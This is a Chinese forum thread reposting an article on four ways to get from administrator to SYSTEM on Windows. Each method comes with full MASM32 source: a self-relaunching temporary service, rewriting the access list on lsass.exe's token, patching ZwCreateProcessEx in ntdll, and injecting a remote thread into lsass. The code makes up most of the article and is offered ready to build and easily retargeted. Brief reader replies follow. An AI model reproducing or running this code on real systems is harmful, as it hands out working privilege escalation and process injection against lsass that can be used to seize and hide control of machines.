发新话题
打印

[转载]从管理员身份获得 SYSTEM 权限的四种方法

[转载]从管理员身份获得 SYSTEM 权限的四种方法

文章作者:一块三毛


本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件,
源代码很容易修改成命令行方式运行指定的程序。

1. 以服务方式运行
2. 添加 ACL 的方法
3. HOOK ZwCreateProcessEx 函数
4. 远程线程的方法

  这几种方法都不是我想出来的,我只不过是总结了一下,用 Win32ASM 重写了代码而以。
关于这个大家可以看文章末尾的参考资料。下面简单的分析每一种方法。

1. 以服务方式运行

  因为以服务方式运行程序时,相当于运行程序的是系统进程,所以,
被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys1
;
; 采用以服务方式运行的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_ReLaunch proto

CTXT MACRO text
      local lbl
      .const
           lbl db text,0
      .code
      exitm  
ENDM

.code
start proc
      LOCAL  stStartupInfo : STARTUPINFO
      LOCAL  procinfo : PROCESS_INFORMATION
      
      invoke  CreateMutex, NULL, TRUE, CTXT("GetSys1_Mutex")
      invoke  GetLastError
      .if eax==ERROR_ALREADY_EXISTS
           invoke  RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
           mov    stStartupInfo.cb, sizeof stStartupInfo
           invoke  CreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr stStartupInfo, addr procinfo
           invoke  CloseHandle, procinfo.hProcess
           invoke  CloseHandle, procinfo.hThread
      .else
           invoke  _ReLaunch
      .endif
      
      invoke  ExitProcess, NULL
start endp

_ReLaunch proc
      LOCAL  hSCManager
      LOCAL  hService
      LOCAL  szName[MAX_PATH] : byte

      invoke  OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE
      .if eax!=0
           mov    hSCManager, eax
           
           invoke  OpenService, hSCManager, CTXT("GetSys1Temp"), DELETE
           .if eax!=0
                push   eax
                invoke  DeleteService, eax
                call   CloseServiceHandle
           .endif
           
           invoke  GetModuleFileName, NULL, addr szName, MAX_PATH
           invoke  CreateService, hSCManager, CTXT("GetSys1Temp"), CTXT("GetSys1 Temp Service"), \
                      SERVICE_START + SERVICE_QUERY_STATUS + DELETE, \
                      SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS, SERVICE_DEMAND_START, \
                      SERVICE_ERROR_IGNORE, addr szName, NULL, NULL, NULL, NULL, NULL
           .if eax!=0
                mov    hService, eax
                invoke  StartService, hService, 0, NULL
                invoke  DeleteService, hService
                invoke  CloseServiceHandle, hService
           .endif
           invoke  CloseServiceHandle, hSCManager
      .endif
      ret
_ReLaunch endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys1

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
  GetSys1(第一次运行的这个进程 GetSys1 我们称为 A) 开始运行时先创建一个互斥量,
接着以服务的方式重新启动自己
(又一次运行的进程 GetSys1 我们称为 B),重新运行后的 B 已经具有了 SYSTEM 权限。
B 再通过 CreateProcess 函数运行 regedit.exe 程序,
因为 B 具有 SYSTEM 权限,所以 regedit.exe 从中继承了 SYSTEM 权限。
运行完了 regedit.exe 后 B 结束运行,
然后 A 中的 StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返回,
所以不能够直接通过服务的方式运行 regedit.exe。

2. 添加 ACL 的方法

  主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser
函数的第一个参数是特定用户的令牌,
把这个参数设为具有 SYSTEM 权限的令牌即可。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys2
;
; 采用添加 ACL 的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\accctrl.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
_ModifySecurity proto :DWORD,:DWORD

CTXT MACRO text
      local lbl
      .const
           lbl db text,0
      .code
      exitm  
ENDM

ACL STRUCT
      AclRevision    BYTE  ?
      Sbz1        BYTE  ?
      AclSize      WORD  ?
      AceCount      WORD  ?
      Sbz2        WORD  ?
ACL ENDS
PACL typedef PTR ACL

SecurityImpersonation  equ 2

.code
start proc
      LOCAL  hProc
      LOCAL  hToken, hNewToken
      LOCAL  stStartupInfo : STARTUPINFO
      LOCAL  procinfo : PROCESS_INFORMATION
      
      sub    eax, eax
      mov    hProc, eax
      mov    hToken, eax
      mov    hNewToken, eax
      invoke  RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
      invoke  RtlZeroMemory, addr procinfo, sizeof procinfo
      
      invoke  _EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
      
      invoke  _GetPidFromProcName, CTXT("lsass.exe")
      invoke  OpenProcess, PROCESS_QUERY_INFORMATION, 0, eax
      test   eax, eax
      jz    _exit
      mov    hProc, eax
      invoke  OpenProcessToken, hProc, READ_CONTROL+WRITE_DAC, addr hToken
      test   eax, eax
      jz    _exit
      
      invoke  _ModifySecurity, hToken, TOKEN_ALL_ACCESS
      test   eax, eax
      jz    _exit
      
      invoke  CloseHandle, hToken
      mov    hToken, 0
      
      invoke  OpenProcessToken, hProc, TOKEN_ALL_ACCESS, addr hToken
      test   eax, eax
      jz    _exit
      
      invoke  DuplicateTokenEx, hToken, TOKEN_ALL_ACCESS, 0,
SecurityImpersonation, TokenPrimary, addr hNewToken
      test   eax, eax
      jz    _exit
      
      invoke  ImpersonateLoggedOnUser, hNewToken
      test   eax, eax
      jz    _exit
      
      mov    stStartupInfo.cb, sizeof stStartupInfo
      invoke  CreateProcessAsUser, hNewToken, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr stStartupInfo, addr procinfo
      test   eax, eax
      jz    _exit
      invoke  CloseHandle, procinfo.hProcess
      invoke  CloseHandle, procinfo.hThread
      
_exit:
      .if hProc
           invoke  CloseHandle, hProc
      .endif
      .if hToken
           invoke  CloseHandle, hToken
      .endif
      .if hNewToken
           invoke  CloseHandle, hNewToken
      .endif
      invoke  ExitProcess, NULL
start endp

_ModifySecurity proc uses ebx esi edi, hToken:DWORD, dwAccess:DWORD
      LOCAL  pSD, pAbsSD
      LOCAL  dwSDLength
      LOCAL  bDaclPresent, bDaclDefaulted
      LOCAL  pAcl : PACL
      LOCAL  pNewAcl : PACL
      LOCAL  szName[1024] : BYTE
      LOCAL  ea : EXPLICIT_ACCESS
      LOCAL  pSacl, pOwner, pPrimaryGroup
      LOCAL  dwAclSize, dwSaclSize, dwOwnerSize, dwPrimaryGroup
      LOCAL  bSuccess
      
      sub    eax, eax
      mov    pSD, eax
      mov    pAbsSD, eax
      mov    dwSDLength, eax
      mov    bDaclPresent, eax
      mov    bDaclDefaulted, eax
      mov    pAcl, eax
      mov    pNewAcl, eax
      mov    pSacl, eax
      mov    pOwner, eax
      mov    pPrimaryGroup, eax
      mov    dwAclSize, eax
      mov    dwSaclSize, eax
      mov    dwOwnerSize, eax
      mov    dwPrimaryGroup, eax
      mov    bSuccess, eax

      invoke  GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, 0, addr dwSDLength
      invoke  LocalAlloc, LPTR, dwSDLength
      test   eax, eax
      jz    _exit
      mov    pSD, eax
      invoke  GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD,
dwSDLength, addr dwSDLength
      
      invoke  GetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr bDaclDefaulted
      
      mov    eax, sizeof szName
      push   eax
      invoke  GetUserName, addr szName, esp
      pop    eax
      
      invoke  BuildExplicitAccessWithName, addr ea, addr szName, dwAccess, GRANT_ACCESS, FALSE
      invoke  SetEntriesInAcl, 1, addr ea, pAcl, addr pNewAcl
      cmp    eax, ERROR_SUCCESS
      jne    _exit
      
      invoke  LocalFree, pAcl
      mov    pAcl, 0
      invoke  MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \
                pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
      
      invoke  LocalAlloc, LPTR, dwSDLength
      test   eax, eax
      jz    _exit
      mov    pAbsSD, eax
      
      invoke  LocalAlloc, LPTR, dwAclSize
      test   eax, eax
      jz    _exit
      mov    pAcl, eax
      
      invoke  LocalAlloc, LPTR, dwSaclSize
      test   eax, eax
      jz    _exit
      mov    pSacl, eax
      
      invoke  LocalAlloc, LPTR, dwOwnerSize
      test   eax, eax
      jz    _exit
      mov    pOwner, eax
      
      invoke  LocalAlloc, LPTR, dwPrimaryGroup
      test   eax, eax
      jz    _exit
      mov    pPrimaryGroup, eax
      
      invoke  MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \
                pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup
      invoke  SetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pNewAcl, bDaclDefaulted
      invoke  SetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pAbsSD
      
      mov    bSuccess, 1
      
_exit:
      .if pSD
           invoke  LocalFree, pSD
      .endif
      .if pAcl
           invoke  LocalFree, pAcl
      .endif
      .if pNewAcl
           invoke  LocalFree, pNewAcl
      .endif
      .if pAbsSD
           invoke  LocalFree, pAbsSD
      .endif
      .if pSacl
           invoke  LocalFree, pSacl
      .endif
      .if pOwner
           invoke  LocalFree, pOwner
      .endif
      .if pPrimaryGroup
           invoke  LocalFree, pPrimaryGroup
      .endif
      mov    eax, bSuccess
      ret
_ModifySecurity endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
      LOCAL  hToken
      LOCAL  tkp : TOKEN_PRIVILEGES
      
      invoke  GetCurrentProcess
      mov    edx, eax
      invoke  OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
      invoke  LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
      mov    tkp.PrivilegeCount, 1
      xor    eax, eax
      .if bFlags
           mov    eax, SE_PRIVILEGE_ENABLED
      .endif
      mov    tkp.Privileges.Attributes, eax
      invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
      push   eax
      invoke  CloseHandle, hToken
      pop    eax
      ret
_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD
      LOCAL  stProcess : PROCESSENTRY32
      LOCAL  hSnapshot
      LOCAL  dwProcessID
      
      mov    dwProcessID, 0
      invoke  RtlZeroMemory, addr stProcess, sizeof stProcess
      mov    stProcess.dwSize, sizeof stProcess
      invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
      mov    hSnapshot, eax
      invoke  Process32First, hSnapshot, addr stProcess
      .while eax
           invoke  lstrcmpi, lpProcName, addr stProcess.szExeFile
           .if eax==0
                mov    eax, stProcess.th32ProcessID
                mov    dwProcessID, eax
                .break
           .endif
           invoke  Process32Next, hSnapshot, addr stProcess
      .endw
      invoke  CloseHandle, hSnapshot
      mov    eax, dwProcessID
      ret
_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys2

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
  GetSys2 取得 lsass.exe 进程的令牌,缺省情况下操作这个令牌的权限很小,
所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity 来完成。
有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser
函数运行 regedit.exe 程序了。有关安全性编程不清楚的地方可以参考[3]。

3. HOOK ZwCreateProcessEx 函数

  有关这个[1]里面讲得很清楚了,下面直接给出源代码。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys3
;
; 采用 HOOK ZwCreateProcessEx 函数的方法
;
;====================================================================================

.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
_HackedZwCreateProcessEx proto

CTXT MACRO text
      local lbl
      .const
           lbl db text,0
      .code
      exitm  
ENDM

ASMJMP struct
      mov_eax      BYTE   ?
      address      DWORD  ?
      jmp_eax      WORD   ?
ASMJMP ends

.data?
      g_hProc dd  ?
      g_dwFunc      dd  ?

.code
start proc
      LOCAL  osvi : OSVERSIONINFO
      LOCAL  lpAsmJmp
      LOCAL  mbi : MEMORY_BASIC_INFORMATION
      LOCAL  stStartupInfo : STARTUPINFO
      LOCAL  procinfo : PROCESS_INFORMATION
      
      sub    eax, eax
      mov    lpAsmJmp, eax
      invoke  RtlZeroMemory, addr osvi, sizeof osvi
      invoke  RtlZeroMemory, addr mbi, sizeof mbi
      invoke  RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
      invoke  RtlZeroMemory, addr procinfo, sizeof procinfo
      
      mov    osvi.dwOSVersionInfoSize, sizeof osvi
      invoke  GetVersionEx, addr osvi
      cmp    osvi.dwMajorVersion, 5
      jnz    _exit
      .if osvi.dwMinorVersion==1
           mov    g_dwFunc, 30h
      .elseif osvi.dwMinorVersion==2
           mov    g_dwFunc, 32h
      .endif
      
      invoke  _EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
      
      invoke  _GetPidFromProcName, CTXT("lsass.exe")
      test   eax, eax
      jz    _exit
      
      invoke  OpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax
      test   eax, eax
      jz    _exit
      mov    g_hProc, eax
      
      invoke  GetModuleHandle, CTXT("ntdll.dll")
      mov    edx, eax
      invoke  GetProcAddress, edx, CTXT("ZwCreateProcessEx")
      mov    lpAsmJmp, eax
      
      invoke  VirtualQuery, lpAsmJmp, addr mbi, sizeof mbi
      push   eax
      invoke  VirtualProtect, mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, esp
      pop    eax
      
      mov    edi, lpAsmJmp
      assume  edi : ptr ASMJMP
      mov    [edi].mov_eax, 0B8h
      mov    [edi].address, offset _HackedZwCreateProcessEx
      mov    [edi].jmp_eax, 0E0FFh
      
      mov    stStartupInfo.cb, sizeof stStartupInfo
      invoke  CreateProcess, 0, CTXT("regedit.exe"),
0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
      test   eax, eax
      jz    _exit
      invoke  CloseHandle, procinfo.hProcess
      invoke  CloseHandle, procinfo.hThread
      
_exit:
      invoke  ExitProcess, NULL
start endp

_HackedZwCreateProcessEx proc
      mov    eax, g_hProc
      mov    dword ptr [esp+16], eax
      mov    eax, g_dwFunc
      lea    edx, dword ptr [esp+4]
      int    2Eh
      retn   24h
_HackedZwCreateProcessEx endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
      LOCAL  hToken
      LOCAL  tkp : TOKEN_PRIVILEGES
      
      invoke  GetCurrentProcess
      mov    edx, eax
      invoke  OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
      invoke  LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
      mov    tkp.PrivilegeCount, 1
      xor    eax, eax
      .if bFlags
           mov    eax, SE_PRIVILEGE_ENABLED
      .endif
      mov    tkp.Privileges.Attributes, eax
      invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
      push   eax
      invoke  CloseHandle, hToken
      pop    eax
      ret
_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD
      LOCAL  stProcess : PROCESSENTRY32
      LOCAL  hSnapshot
      LOCAL  dwProcessID
      
      mov    dwProcessID, 0
      invoke  RtlZeroMemory, addr stProcess, sizeof stProcess
      mov    stProcess.dwSize, sizeof stProcess
      invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
      mov    hSnapshot, eax
      invoke  Process32First, hSnapshot, addr stProcess
      .while eax
           invoke  lstrcmpi, lpProcName, addr stProcess.szExeFile
           .if eax==0
                mov    eax, stProcess.th32ProcessID
                mov    dwProcessID, eax
                .break
           .endif
           invoke  Process32Next, hSnapshot, addr stProcess
      .endw
      invoke  CloseHandle, hSnapshot
      mov    eax, dwProcessID
      ret
_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys3

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
4. 远程线程的方法

  通过注入远程线程的方法来运行指定的 regedit.exe 程序,
也是相当于运行 regedit.exe 程序的是系统进程,
那么 regedit.exe 也就自然而然的继承了系统进程的 SYSTEM 权限。

;@echo off
;goto make

;====================================================================================
; 一块三毛钱
; http://zhongts.yeah.net
; zhongts@163.com
; 2005.1.15
;
; 以 SYSTEM 权限运行程序 - GetSys4
;
; 采用远程线程的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\advapi32.inc
include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\advapi32.lib
includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD

;下面两个宏来源于罗云彬的《Windows 环境下32位汇编程序设计》一书
reverseArgs macro arglist:VARARG
      local  txt,count
   
      txt    TEXTEQU <>
      count  = 0
      for    i,
           count  = count + 1
           txt    TEXTEQU @CatStr(i,,<%txt>)
      endm
      if    count GT 0
           txt    SUBSTR  txt,1,@SizeStr(%txt)-1
      endif
      exitm  txt
endm
_invoke macro _Proc,args:VARARG
      local  count
   
      count  = 0
%     for    i,< reverseArgs( args ) >
           count  = count + 1
           push   i
      endm
      call   dword ptr _Proc   
   
endm

CTXT MACRO text
      local lbl
      .const
           lbl db text,0
      .code
      exitm  
ENDM

.data?
      g_hProcess    dd  ?
      g_lpRemoteCode  dd  ?

.code
Remote_code_start     equ this byte

g_lpGetModuleHandleA   dd  ?
g_lpGetProcAddress    dd  ?

g_szKernel32        db  "Kernel32.dll",0
g_szCreateProcessA    db  "CreateProcessA",0

g_lpCreateProcessA    dd  ?

g_szRegedit         db  "Regedit.exe",0
g_szDesktop         db  "WinSta0\Default",0

g_stStartupInfo      STARTUPINFO
g_procinfo          PROCESS_INFORMATION

_RemoteThread proc
;     int    3
      pushad
      call   @F
      @@:
      pop    ebx
      sub    ebx, offset @B
      
      lea    eax, [ebx+g_szKernel32]
      _invoke [ebx+g_lpGetModuleHandleA], eax
      mov    esi, eax
      lea    eax, [ebx+g_szCreateProcessA]
      _invoke [ebx+g_lpGetProcAddress], esi, eax
      mov    [ebx+g_lpCreateProcessA], eax
      
      lea    eax, [ebx+g_szDesktop]
      lea    ecx, [ebx+g_stStartupInfo]
      mov    dword ptr [ecx], sizeof g_stStartupInfo
      mov    dword ptr [ecx+8], eax
      lea    eax, [ebx+g_szRegedit]
      lea    edx, [ebx+g_procinfo]
      
      _invoke [ebx+g_lpCreateProcessA], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
      
      popad
      ret
_RemoteThread endp

Remote_code_end      equ this byte
Remote_code_length    equ offset Remote_code_end - offset Remote_code_start

start proc
      invoke  GetModuleHandle, CTXT("kernel32.dll")
      mov    ebx, eax
      invoke  GetProcAddress, ebx, CTXT("GetModuleHandleA")
      mov    g_lpGetModuleHandleA, eax
      invoke  GetProcAddress, ebx, CTXT("GetProcAddress")
      mov    g_lpGetProcAddress, eax
      
      invoke  _EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE
      
      invoke  _GetPidFromProcName, CTXT("lsass.exe")
      invoke  OpenProcess, PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE, FALSE, eax
      .if eax
           mov    g_hProcess, eax
           invoke  VirtualAllocEx, g_hProcess, NULL, Remote_code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE
           .if eax
                mov    g_lpRemoteCode, eax
                invoke  WriteProcessMemory, g_hProcess, g_lpRemoteCode,
offset Remote_code_start, Remote_code_length, NULL
                mov    eax, g_lpRemoteCode
                add    eax, offset _RemoteThread - offset Remote_code_start
                invoke  CreateRemoteThread, g_hProcess, NULL, 0, eax, 0, 0, NULL
                invoke  CloseHandle, eax
           .endif
           invoke  CloseHandle, g_hProcess
      .endif
      invoke  ExitProcess, NULL
start endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
      LOCAL  hToken
      LOCAL  tkp : TOKEN_PRIVILEGES
      
      invoke  GetCurrentProcess
      mov    edx, eax
      invoke  OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
      invoke  LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
      mov    tkp.PrivilegeCount, 1
      xor    eax, eax
      .if bFlags
           mov    eax, SE_PRIVILEGE_ENABLED
      .endif
      mov    tkp.Privileges.Attributes, eax
      invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
      push   eax
      invoke  CloseHandle, hToken
      pop    eax
      ret
_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD
      LOCAL  stProcess : PROCESSENTRY32
      LOCAL  hSnapshot
      LOCAL  dwProcessID
      
      mov    dwProcessID, 0
      invoke  RtlZeroMemory, addr stProcess, sizeof stProcess
      mov    stProcess.dwSize, sizeof stProcess
      invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
      mov    hSnapshot, eax
      invoke  Process32First, hSnapshot, addr stProcess
      .while eax
           invoke  lstrcmpi, lpProcName, addr stProcess.szExeFile
           .if eax==0
                mov    eax, stProcess.th32ProcessID
                mov    dwProcessID, eax
                .break
           .endif
           invoke  Process32Next, hSnapshot, addr stProcess
      .endw
      invoke  CloseHandle, hSnapshot
      mov    eax, dwProcessID
      ret
_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin
set appname=GetSys4

ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows /section:.text,rwe %appname%.obj
del %appname%.obj
echo.
pause
  这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess 函数时,lpStartupInfo
参数指向的 STARTUPINFO 结构成员 lpDesktop 需要明确的指定 WinSta0\Default 为运行桌面。
否则,程序 regedit.exe 运行后不知道跑到哪里去了。


参考资料

[1] scz MSDN系列(3)--Administrator用户直接获取SYSTEM权限
   http://www.nsfocus.net/index.php?ac...ew&mid=1900
[2] wsu 1.0
   http://www.BingleSite.net
[3] Keith Brown 《Windows 安全性编程》
[4] Token.Master
   Jeffrey Richter/Jason D.Clark 《Programming.Server-Side.Applications.for.MS.Windows.2000
益友网吧联盟  http://www.96-7.com

TOP

[s:43]  [s:43]  [s:52]  [s:52]
請問要學什麼語言才能看懂啊

TOP

引用:
下面是引用lovewzx于2005-11-15 21:32发表的:
[s:43]  [s:43]  [s:52]  [s:52]
請問要學什麼語言才能看懂啊
我也想问....
学习学习,努力学习...

TOP

我地妈呀,一点也看不懂,我太菜了,晕 [s:34]  [s:50]  [s:52]

TOP

太专业了吧?都看不懂!不是很实用!

TOP

引用:
下面是引用feng133413于2005-12-12 16:16发表的:
在dos下也无法用regedit所以成功也没用,如果能以管理员身份在图形界面运行那就直接用regedt32了,我看实际应用的意义不大
你根本没明白……

TOP

发新话题